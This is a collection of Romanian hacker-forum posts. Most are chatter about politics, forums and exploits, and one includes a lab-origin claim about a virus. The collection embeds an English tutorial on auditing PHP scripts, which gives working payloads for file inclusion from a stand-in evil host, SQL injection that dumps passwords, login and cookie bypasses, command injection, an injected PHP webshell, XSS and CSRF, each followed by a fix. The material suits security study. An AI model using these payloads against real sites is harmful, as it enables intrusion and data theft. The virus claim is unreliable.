Cei care au votat cu Geoana stiu ca au votat cu Iliescu nu?Am votat cu Basescu.Geoana e comunist la fel ca partidul lui,infiintat de catre cel mai mare comunist,Iliescu.

OMG exploitul asta e vechi de cand lumea.Si merge numai pe versiunea 3.0.0.Si ca sa mearga trebuie sa ai cont de supermoderator.

Sunteti nervosi,suparati,ati picat in keylogger,ati luat iar 3 la mate?Vreti sa va razbunati pe cineva,sa chinuiti si sa il vedeti cum sufera?Acuma puteti face asta,la nivel virtual. http://666games.net/Violent/Flash/Play/601/The_Torture_Game_2.html My friend : Have fun.

Run it sandboxed.Nu cred ca ar fi virusat un program pe care il vand pe bani grei,parerea mea.

Am folosit craiovaforum pentru ca e singurul bash romanesc pe care il stiu.

Din cate vad,nu prea sunt "posturi penale".Niste discutii de mess neinteresante,prea scurte sau prea interminabile,fara nici un sens,amenintari de hackeri si alte cacaturi.Foarte putin din ce e acolo se incadreaza in categorie.Cineva sa le aminteasca la prietenii care posteaza acolo ca locatia corecta pentru ce scriu ei e bash.craiovaforum.ro , in nici un caz "cele mai penale posturi" care cred ca vrea sa fie o categorie care curpinde posturi penale DE PE FORUM,nu de pe MESSENGER,IRC,si altele.Have a nice day.

Hint pentru level 10.Nu va chinuiti sa decriptati hex-ul acela lung pentru ca pierdeti timpul degeaba,nu va ajuta cu nimica,e un mesaj de felicitare.

Pai daca restu sunt cacaturi,ce vruiai sa iti zica?Nici nu ma chinui sa intru pe ele pentru a imi da seama,se vede dupa URL.

Eu nu sunt de acord cu vaccinul.Eu ma "risc" desi cred ca as fi mai in pericol daca as face vaccinul.Virusul a fost facut in laborator,parerea mea.

Ai stat mult sa coci prostia asta?Nu iau nimica la maxim dar cand vad oameni care sunt ratati si mai si semnalizeaza ma enerveaza.Care adevar sa ma supere?Eu nu vad nici un adevar in ce ai zis tu.

Ce eXcEssz0r baietii de pe RST si ISR ti-au dat cu pula peste gura cand au vazut ca esti ratat?Daca cei de pe ISR si RST sunt pisati de ce mortii tai stai pe forumurile astea?Dute pe undernet la Morfeusu pulii sa te invete. Edit: M-am convins singur ca esti ratat prin anumite posturi de pe anumite forumuri.

Ha,nu pune metoda sa se oftice TinKode.Pune doar screenshot ca acum e down.

N-ai vrea sa stii...ne-am facut baricade si ne bateam cu pietre,formatam calculatorul dupa ce intra unu din noi pe MT sau RST ca sa nu ne luam conturile,ne injuram de forumuri...

OMG...inca unul?

Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod Email : sirgod08@gmail.com Contents : 1) About 2) Some stuff 3) Remote File Inclusion 3.0 - Basic example 3.1 - Simple example 3.2 - How to fix 4) Local File Inclusion 4.0 - Basic example 4.1 - Simple example 4.2 - How to fix 5) Local File Disclosure/Download 5.0 - Basic example 5.1 - Simple example 5.2 - How to fix 6) SQL Injection 6.0 - Basic example 6.1 - Simple example 6.2 - SQL Login Bypass 6.3 - How to fix 7) Insecure Cookie Handling 7.0 - Basic example 7.1 - Simple example 7.2 - How to fix 8) Remote Command Execution 8.0 - Basic example 8.1 - Simple example 8.2 - Advanced example 8.3 - How to fix 9) Remote Code Execution 9.0 - Basic example 9.1 - Simple example 9.2 - How to fix 10) Cross-Site Scripting 10.0 - Basic example 10.1 - Another example 10.2 - Simple example 10.3 - How to fix 11) Authentication Bypass 11.0 - Basic example 11.1 - Via login variable 11.2 - Unprotected Admin CP 11.3 - How to fix 12) Insecure Permissions 12.0 - Basic example 12.1 - Read the users/passwords 12.2 - Download backups 12.3 - INC files 12.4 - How to fix 13) Cross Site Request Forgery 13.0 - Basic example 13.1 - Simple example 13.2 - How to fix 14) Shoutz 1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the examples without the basic example of each category was founded in different scripts. 2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin. You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what configuration I use and why : safe_mode = off ( a lot of shit cannot be done with this on ) disabled_functions = N/A ( no one,we want all ) register_globals = on ( we can set variables by request ) allow_url_include = on ( for lfi/rfi ) allow_url_fopen = on ( for lfi/rfi ) magic_quotes_gpc = off ( this will escape ' " \ and NUL's with a backslash and we don't want that ) short_tag_open = on ( some scripts are using short tags,better on ) file_uploads = on ( we want to upload ) display_errors = on ( we want to see the script errors,maybe some undeclared variables? ) How to proceed : First,create a database to be used by different scripts.Install the script on localhost and start the audit over the source code.If you found something open the web browser and test it,maybe you are wrong. 3) Remote File Inclusion - Tips : You can use the NULLBYTE and ? trick. You can use HTTPS and FTP to bypass filters ( http filtered ) In PHP is 4 functions through you can include code. require - require() is identical to include() except upon failure it will produce a fatal E_ERROR level error. require_once - is identical to require() except PHP will check if the file has already been included, and if so, not include (require) it again. include - includes and evaluates the specified file. include_once - includes and evaluates the specified file during the execution of the script. 3.0 - Basic example - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so you can use "https" or "ftp". - Code snippet from test.php ----------------------------------------------- <?php $pagina=$_GET['pagina']; include $pagina; ?> ----------------------------------------------- - If we access the page we got some errors and some warnings( not pasted ) : Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2 - We can see here that "pagina" variable is undeclared.We can set any value to "pagina" variable.Example : http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt Now I will show why some people use ? and %00 after the link to the evil script. # The "%00" - Code snippet from test.php ----------------------------------------------- <?php $pagina=$_GET['pagina']; include $pagina.'.php'; ?> ----------------------------------------------- - So if we will request http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt Will not work because the script will try to include http://evilsite.com/evilscript.txt.php So we will add a NULLBYTE ( %00 ) and all the shit after nullbyte will not be taken in consideration.Example : http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00 The script will successfully include our evilscript and will throw to junk the things after the nullbyte. # The "?" - Code snippet from test.php ----------------------------------------------- <?php $pagina=$_GET['pagina']; include $pagina.'logged=1'; ?> ----------------------------------------------- And the logged=1 will become like a variable.But better use nullbyte.Example : http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1 The evilscript will be included succesfully. 3.1 - Simple example Now an example from a script. - Code snippet from index.php ---------------------------------------------------- if (isset($_REQUEST["main_content"])){ $main_content = $_REQUEST["main_content"]; } else if (isset($_SESSION["main_content"])){ $main_content = $_SESSION["main_content"]; } .......................etc.................. ob_start(); require_once($main_content); ---------------------------------------------------- We can see that "main_content" variable is requested by $_REQUEST method.The attacker can set any value that he want. Below the "main_content" variable is include.So if we make the following request : http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt Our evil script will be successfully included. 3.2 - How to fix Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" . Another way : filter "http" , "https" , "ftp" and "smb". 4) Local File Inclusion - Tips : You can use the NULLBYTE and ? trick. ../ mean a directory up On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" ( urlencoded ). The same functions which let you to include (include,include_once,require,require_once) . 4.0 - Basic example - Code snippet from test.php ----------------------------------- <?php $pagina=$_GET['pagina']; include '/pages/'.$pagina; ?> ----------------------------------- Now,we can not include our script because we can not include remote files.We can include only local files as you see.So if we make the following request : http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd The script will include "/pages/../../../../../../etc/passwd" successfully. You can use the %00 and ? .The same story. 4.1 - Simple example - Code snippet from install/install.php ------------------------------------- if(empty($_GET["url"])) $url = 'step_welcome.php'; else $url = $_GET["url"]; .............etc............. <p><? include('step/'.$url) ?></p> ------------------------------------- We can see that "url" variable is injectable.If the "url" variable is not set (is empty) the script will include "step_welcome.php" else will include the variable set by the attacker. So if we do the following request : http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd The "etc/passwd" file will be succesfully included. 4.2 - How to fix Simple way : Don't allow special chars in variables.Simple way : filter the dot "." Another way : Filter "/" , "\" and "." . 5) Local File Disclosure/Download - Tips : Through this vulnerability you can read the content of files,not include. Some functions which let you to read files : file_get_contents — Reads entire file into a string readfile — Outputs a file file — Reads entire file into an array fopen — Opens file or URL highlight_file — Syntax highlighting of a file.Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP. show_source — Alias of highlight_file() 5.0 - Basic example - Code snippet from test.php -------------------------------------- <?php $pagina=$_GET['pagina']; readfile($pagina); ?> -------------------------------------- The readfile() function will read the content of the specified file.So if we do the following request : http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd The content of etc/passwd will be outputed NOT included. 5.1 - Simple example - Code snippet from download.php ----------------------------------------------------------------------------------- $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file']; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Content-Type: application/force-download"); header( "Content-Disposition: attachment; filename=".basename($file)); //header( "Content-Description: File Transfer"); @readfile($file); die(); ----------------------------------------------------------------------------------- The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method. And the file is disclosed by readfile() function.So we can see the content of an arbitrary file. If we make the following request : http://127.0.0.1/download.php?file=../../../../../../etc/passwd So we can succesfully read the "etc/passwd" file. 5.2 - How to fix Simple way : Don't allow special chars in variables.Simple way : filter the dot "." Another way : Filter "/" , "\" and "." . 6) SQL Injection - Tips : If the user have file privileges you can read files. If the user have file privileges and you find a writable directory and magic_quotes_gpc = off you can upload you code into a file. 6.0 - Basic example - Code snippet from test.php ---------------------------------------------------------------------------------- <?php $id = $_GET['id']; $result = mysql_query( "SELECT name FROM members WHERE id = '$id'"); ?> ---------------------------------------------------------------------------------- The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example : http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4-- And we get the "etc/passwd" file if magic_quotes = off ( escaping ' ) and users have file privileges. 6.1 - Simple example - Code snippet from house/listing_view.php ----------------------------------------------------------------------------------------------------------------------------- $id = $_GET['itemnr']; require_once($home."mysqlinfo.php"); $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id"; $result = mysql_query($query); if(mysql_num_rows($result)){ $r = mysql_fetch_array($result); ----------------------------------------------------------------------------------------------------------------------------- We see that "id" variable value is the value set for "itemnr" and is not filtered in any way. So we can inject our code.Lets make a request : http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users-- And we get the email and the password from the users table. 6.2 - SQL Injection Login Bypass - Code snippet from /admin/login.php ------------------------------------------------------------------------------------------------------------------------------ $postbruger = $_POST['username']; $postpass = md5($_POST['password']); $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'") or die("<p>" . mysql_error() . "</p>\n"); ------------------------------------------------------------------------------------------------------------------------------ The variables isn't properly checked.We can bypass this login.Lets inject the following username and password : username : admin ' or ' 1=1 password : sirgod We logged in.Why?Look,the code will become --------------------------------------------------------------------------------------------------------------------------------- $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'") --------------------------------------------------------------------------------------------------------------------------------- Login bypassed.The username must be an existent username. 6.3 - How to fix Simple way : Don't allow special chars in variables.For numeric variables use (int) ,example $id=(int)$_GET['id']; Another way : For non-numeric variables : filter all special chars used in SQLI : - , . ( ) ' " _ + / * 7) Insecure Cooke Handling - Tips : Write the code in the URLbar,don't use a cookie editor for this. 7.0 - Basic example - Code snippet from test.php --------------------------------------------------------------- if($_POST['password'] == $thepass) { setcookie("is_user_logged","1"); } else { die("Login failed!"); } ............ etc ................. if($_COOKIE['is_user_logged']=="1") { include "admin.php"; else { die('not logged'); } --------------------------------------------------------------- Something interesting here.If we set to the "is_user_logged" variable from cookie value "1" we are logged in.Example : javascript:document.cookie = "is_user_logged=1; path=/"; So practically we are logged in,we pass the check and we can access the admin panel. 7.1 - Simple example - Code snippet from admin.php ---------------------------------------------------------------- if ($_COOKIE[PHPMYBCAdmin] == '') { if (!$_POST[login] == 'login') { die("Please Login:<BR><form method=post><input type=password name=password><input type=hidden value=login name=login><input type=submit></form>"); } elseif($_POST[password] == $bcadminpass) { setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60); header("Location: admin.php"); } else { die("Incorrect"); } } ---------------------------------------------------------------- Code looks exploitable.We can set a cookie value that let us to bypass the login and tell to the script that we are already logged in.Example : javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie = "1246371700; path=/"; What is 1246371700? Is the current time() echo'ed + 360. 7.2 - How to fix Simple way : The most simple and eficient way : use SESSIONS . 8) Remote Command Execution - Tips : If in script is used exec() you can't see the command output(but the command is executed) until the result isn't echo'ed from script. You can use AND operator ( || ) if the script execute more than one command . In PHP are some functions that let you to execute commands : exec — Execute an external program passthru — Execute an external program and display raw output shell_exec — Execute command via shell and return the complete output as a string system — Execute an external program and display the output 8.0 - Basic example - Code snippet from test.php --------------------------------- <?php $cmd=$_GET['cmd']; system($cmd); ?> --------------------------------- So if we make the following request : http://127.0.0.1/test.php?cmd=whoami The command will be executed and the result will be outputed. 8.1 - Simple example - Code snippet from dig.php ------------------------------------------------------------------------------------------- $status = $_GET['status']; $ns = $_GET['ns']; $host = $_GET['host']; $query_type = $_GET['query_type']; // ANY, MX, A , etc. $ip = $_SERVER['REMOTE_ADDR']; $self = $_SERVER['PHP_SELF']; ........................ etc ........................ $host = trim($host); $host = strtolower($host); echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b><br>"); echo '<pre>'; system ("dig @$ns $host $query_type"); ------------------------------------------------------------------------------------------- The "ns" variable is unfiltered and can be specified by the attacker.An attacker can use any command that he want through this variable. Lets make a request : http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and will not work of course.Lets do something a little bit tricky.We have the AND operator ( || ) and we will use it to separe the commands.Example : http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging Our command will be executed.The command become "dig ||whoami|| sirgod.net NS". 8.2 - Advanced example - Code snippet from add_reg.php ------------------------------------------------------- $user = $_POST['user']; $pass1 = $_POST['pass1']; $pass2 = $_POST['pass2']; $email1 = $_POST['email1']; $email2 = $_POST['email2']; $location = $_POST['location']; $url = $_POST['url']; $filename = "./sites/".$user.".php"; ...................etc...................... $html = "<?php \$regdate = \"$date\"; \$user = \"$user\"; \$pass = \"$pass1\"; \$email = \"$email1\"; \$location = \"$location\"; \$url = \"$url\"; ?>"; $fp = fopen($filename, 'a+'); fputs($fp, $html) or die("Could not open file!"); ------------------------------------------------------- We can see that the script creates a php file in "sites" directory( ourusername.php ). The script save all the user data in that file so we can inject our evil code into one field,I choose the "location" variable. So if we register as an user with the location (set the "location" value) : <?php system($_GET['cmd']); ?> the code inside sites/ourusername.php will become : ------------------------------------------------- <?php $regdate = "13 June 2009, 4:16 PM"; $user = "pwned"; $pass = "pwned"; $email = "pwned@yahoo.com"; $location = "<?php system($_GET['cmd']); ?>"; $url = "http://google.ro"; ?> ------------------------------------------------- So we will get an parse error.Not good.We must inject a proper code to get the result that we want. Lets inject this code : \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D So the code inside sites/ourusername.php will become : -------------------------------------------------------------- <?php $regdate = "13 June 2009, 4:16 PM"; $user = "pwned"; $pass = "pwned"; $email = "pwned@yahoo.com"; $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D"; $url = "http://google.ro"; ?> -------------------------------------------------------------- and we will have no error.Why?See the code : $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D"; Lets split it : ------------------------------- $location = ""; ?> <?php system($_GET['cmd']);?> <?php $xxx=":D"; ------------------------------- We set the location value to "",close the first php tags,open the tags again,wrote our evil code,close the tags and open other and add a variable "xxx" because we dont want any error.I wrote that code because I want no error,can be modified to be small but will give some errors(will not stop us to execute commands but looks ugly). So if we make the following request : http://127.0.0.1/sites/ourusername.php?cmd=whoami And our command will be succesfully executed. 8.3 - How to fix Simple way : Don't allow user input . Another way : Use escapeshellarg() and escapeshellcmd() functions . Example : $cmd=escapeshellarg($_GET'cmd']); 9) Remote Code Execution - Tips : You must inject valid PHP code including terminating statements ( ; ) . 9.0 - Basic example - Code snippet from test.php ----------------------------------- <?php $code=$_GET['code']; eval($code); ?> ----------------------------------- The "eval" function evaluate a string as PHP code.So in this case we are able to execute our PHP code.Examples : http://127.0.0.1/test.php?code=phpinfo(); http://127.0.0.1/test.php?code=system(whoami); And we will see the output of the PHP code injected by us. 9.1 - Simple example - Code snippet from system/services/init.php ------------------------------------------------ $conf = array_merge($conf,$confweb); } @eval(stripslashes($_REQUEST['anticode'])); if ( $_SERVER['HTTP_CLIENT_IP'] ) ------------------------------------------------ We see that the "anticode" is requested by $_REQUEST method and the coder "secured" the input with "stripslashes" which is useless here,we don't need slashes to execute our php code only if we want to include a URL.So we can inject our PHP code.Example : http://127.0.0.1/test.php?anticode=phpinfo(); Great,injection done,phpinfo() result printed.No include because slashes are removed,but we can use system() or another function to execute commands. 9.2 - How to fix Simple way : Don't allow ";" and the PHP code will be invalid. Another way : Don't allow any special char like "(" or ")" etc. 10) Cross-Site Scripting - Tips : You can use alot of vectors,can try alot of bypass methods,you cand find them around the web. 10.0 - Basic example - Code snippet from test.php --------------------------------- <?php $name=$_GET['name']; print $name; ?> --------------------------------- The input is not filtered,an attacker can inject JavaScript code.Example : http://127.0.0.1/test.php?name=<script>alert("XSS")</script> A popup with XSS message will be displayed.JavaScript code succesfully executed. 10.1 - Another example - Code snippet from test.php ------------------------------------------- <?php $name=addslashes($_GET['name']); print '<table name="'.$name.'"></table>'; ?> ------------------------------------------- Not an advanced example,only a bit complicated. http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script> Why this vector?We put " because we must close the " from the "name" atribut of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because we want to bypass addslashes() function.Injection done. 10.2 - Simple example - Code snippet from modules.php --------------------------------------------------------------------------- if (isset($name)) { .................... etc................ } else { die("Le fichier modules/".$name."/".$mod_file.".php est inexistant"); --------------------------------------------------------------------------- The "name" variable is injectable,input is not filtered,so we can inject with ease JavaScript code.Example : http://127.0.0.1/test.php?name=<script>alert("XSS")</script> 10.3 - How to fix Simple way : Use htmlentities() or htmlspecialchars() functions. Example : $name=htmlentities($_GET['name']); Another way : Filter all special chars used for XSS ( a lot ). The best way is the first method. 11) Authentication Bypass - Tips : Look deep in the scripts,look in the admin directories, maybe are not protected,also look for undefined variables like "login" or "auth". 11.0 - Basic example I will provide a simple example of authentication bypass via login variable. - Code snippet from test.php --------------------------------- <?php if ($logged==true) { echo 'Logged in.'; } else { print 'Not logged in.'; } ?> --------------------------------- Here we need register_gloabals = on . I will talk about php.ini settings a bit later in this tutorial.If we set the value of $logged variable to 1 the if condition will be true and we are logged in. Example : http://127.0.0.1/test/php?logged=1 And we are logged in. 11.1 - Via login variable - Code snippet from login.php ------------------------------------------------------------------------------------ if ($login_ok) { $_SESSION['loggato'] = true; echo "<p>$txt_pass_ok</p>"; echo"<div align='center'><a href='index.php'>$txt_view_entry</a> | <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install </a></div>"; } ------------------------------------------------------------------------------------ Lets see.If the "login_ok" variable is TRUE ( 1 ) the script set us a SESSION who tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE. Example : http://127.0.0.1/login.php?login_ok=1 Now we are logged in. 11.2 - Unprotected Admin CP You couln't belive this but some PHP scrips don't protect the admin control panel : no login,no .htaccess,nothing.So we simply we go to the admin panel directory and we take the control of the website. Example : http://127.0.0.1/admin/files.php We accessed the admin panel with a simple request. 11.3 - How to fix - Login variable bypass : Use a REAL authentication system,don't check the login like that,use SESSION verification.Example : if($_SESSION['logged']==1) { echo 'Logged in'; } else { echo 'Not logged in'; } - Unprotected Admin CP : Use an authentication system or use .htaccess to allow access from specific IP's or .htpasswd to request an username and a password for admin CP. Example : .htaccess : order deny, allow deny from all allow from 127.0.0.1 .htpasswd : AuthUserFile /the/path/.htpasswd AuthType Basic AuthName "Admin CP" Require valid-user and /the/path/.htpasswd sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ. 12) Insecure Permissions Tips : Look deep into the files,look if the script request to be logged in to do something,maybe the script don't request. Watch out for insecure permissions,maybe you can do admin things without login. 12.0 - Basic example We are thinking at a script who let the admin to have a lookup in the users database through a file placed in /admin directory.That file is named...hmmm : db_lookup.php. - Code snippet from admin/db_lookup.php -------------------------------------------- <?php // Lookup in the database readfile('protected/usersdb.txt'); ?> -------------------------------------------- Lets think.We cannot access the "protected" directory because is .htaccess'ed.But look at this file,no logged-in check,nothing. So if we acces : http://127.0.0.1/admin/db_lookup.php We can see the database.Remember,this is only an example created by me,not a real one,you can find this kind of vulnerabilities in scripts. 12.1 - Read the users/passwords Oh yeah,some coders are so stupid.They save the usernames and passwords in text files,UNPROTECTED.A simple example from a script : http://127.0.0.1/userpwd.txt And we read the file,the usernames and passwords are there. 12.2 - Download Backups Some scripts have database backup functions,some are safe,some are not safe. I will show you a real script example : - Code snippet from /adminpanel/phpmydump.php -------------------------------------------------------------------------------- function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) { $con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect"); $db=@mysql_select_db($dbname,$con) or die("Could not select db"); .............................. etc .......................... mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf); -------------------------------------------------------------------------------- After a lof of code the function is called.I don't pasted the entire code because is huge.I analyzed the script,no login required,no check,nothing.So if we access the file directly the download of the backup will start.Example : http://127.0.0.1/adminpanel/phpmydump.php Now we have the database backup saved in our computer. 12.3 - INC files Some scripts saves important data in INC files.Usually in INC files is PHP code containing database configuration.The INC files can be viewed in browser even they contain PHP code.So a simple request will be enough to access and read the file.Example : http://127.0.0.1/inc/mysql.inc Now we have the database connection details.Look deep in scripts,is more scripts who saves important data into INC files. 12.4 - How to fix - Basic example : Check if the admin is logged in,if not,redirect. - Read the users/passwords : Save the records in a MySQL database or in a protected file/directory. - Download Backups : Check if the admin is logged in,if not,redirect. - INC files : Save the configuration in proper files,like .php or protect the directory with an .htaccess file. 13) Cross Site Request Forgery - Tips : Through CSRF you can change the admin password,is not so inofensive. Can be used with XSS,redirected from XSS. 13.0 - Basic example - Code snippet from test.php ----------------------------------------- <?php check_auth(); if(isset($_GET['news'])) { unlink('files/news'.$news.'.txt'); } else { die('File not deleted'); } ?> ----------------------------------------- In this example you will see what is CSRF and how it works.In the "files" directory are saved the news written by the author.The news are saved like "news1.txt","news2.txt" etc. So the admin can delete the news.The news that he want to delete will be specified in "news" variable.If he want to delete the news1.txt the value of "news" will be "1".We cannot execute this without admin permissions,look,the script check if we are logged in. I will show you an example.If we request : http://127.0.0.1/test.php?news=1 The /news/news1.txt file will be deleted.The script directly delete the file without any notice.So we can use this to delete a file.All we need is to trick the admin to click our evil link and the file specified by us in the "news" variable will be deleted. 13.1 - Simple example In a way the codes below are included in the index.php file ,I will not paste all the includes,there are a lot. - Code snippet from includes/pages/admin.php -------------------------------------------------------------------- if ($_GET['act'] == '') { include "includes/pages/admin/home.php"; } else { include "includes/pages/admin/" . $_GET['act'] . ".php"; -------------------------------------------------------------------- Here we can see how the "includes/pages/admin/members.php" is included in this file.If "act=members" the file below will be included. - Code snippet from includes/pages/admin/members.php ---------------------------------------------------------------------------------------------- if ($_GET['func'] == 'delete') { $del_id = $_GET['id']; $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'"; $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121"); while ($results2121 = mysql_fetch_array($result2121)) { $their_role = $results2121['ROLE']; } if ($their_role != '1') { mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error ()); ---------------------------------------------------------------------------------------------- We can see here that if "func=delete" will be called by URL,the script will delete from the database a user with the specified ID ( $id ) without any confirmation.Example : http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4 The script check if the admin is logged in so if we trick the admin to click our evil link the user who have the specified ID in the database will be deleted without any confirmation. 13.2 - How to fix - Simple way : Use tokens.At each login,generate a random token and save it in the session.Request the token in URL to do administrative actions,if the token missing or is wrong,don't execute the action.I will show you only how to to check if the token is present and is correct.Example : ------------------------------------------------------- <?php check_auth(); if(isset($_GET['news']) && $token=$_SESSION['token']) { unlink('files/news'.$news.'.txt'); } else { die('Error.'); } ?> ------------------------------------------------------- The request will look like this one : http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN] So this request will be fine,the news will be deleted. - Another way : Do some complicated confirmations or request a password to do administrative actions. 14) Shoutz Shoutz to all www.insecurity.ro & www.h4cky0u.org members.If you have some suggestions or questions just email me.

Uita-te din ce an e kernel-ul.

Imi amintesc de lexx.Chiar se facuse o topica despre el.

Linux Kernel 2.6.x ptrace_attach Local Privilege Escalation Exploit E din 2009.Il gasesti aici : http://milw0rm.com/exploits/8673

Da,am si vazut o parte din videoclip.Sincer nu stiu cum a putut pica in plasa aia.Pai corect,daca se vroia spart,desi nu vad un motiv plauzibil.

Prietene ce e tampenia asta?Asta e un tutorial?Mie nu mi se pare.Data viitoare sa faci despre cum sa formatam o partitie sau sa facem un folder hidden.Pentru Firefox foloseste Tamper Data si modifici User-Agentul din headere,si Tamper Data il poti folosi si pentru Header Injection (ar merge si de acolo dar mi se pare o tampenie sa stai sa modifici User-Agentul de la config dupa codul pe care vrei sa-l injectezi).

A fost spart irc.milw0rm.com .De altceva nu am auzit.Si a fost spart serverul cu videoclipurile unde nu cred ca e hostat milw0rm.Pai multa lume il respecta si nu cred ca ar avea cineva un motiv sa il sparga.

milw0rm hacked?Nu o sa vezi asa ceva.Cei care ar vrea sa faca deface nu pot,iar cei care pot nu fac.Ce motiv ar avea?Si sincer,cati s-ar pune cu str0ke?

Pai pun si eu forumurile pe care reprezint ceva.
